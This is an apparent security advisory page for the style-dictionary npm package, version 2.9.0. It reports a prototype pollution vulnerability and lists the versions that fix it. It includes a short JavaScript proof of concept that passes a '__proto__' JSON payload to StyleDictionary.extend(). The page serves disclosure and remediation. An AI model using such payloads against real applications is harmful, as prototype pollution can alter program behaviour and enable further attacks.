style-dictionary@2.9.0 vulnerabilities

Style once, use everywhere. A build system for creating cross-platform styles.

Direct Vulnerabilities

Known vulnerabilities in the style-dictionary package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

style-dictionary is a Style once, use everywhere. A build system for creating cross-platform styles.

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const StyleDictionary = require('style-dictionary');
const obj = {};
let opts = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
StyleDictionary.extend(opts);
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade style-dictionary to version 2.10.3, 3.0.0-rc.10 or higher.

<2.10.3 >=3.0.0-rc.0 <3.0.0-rc.10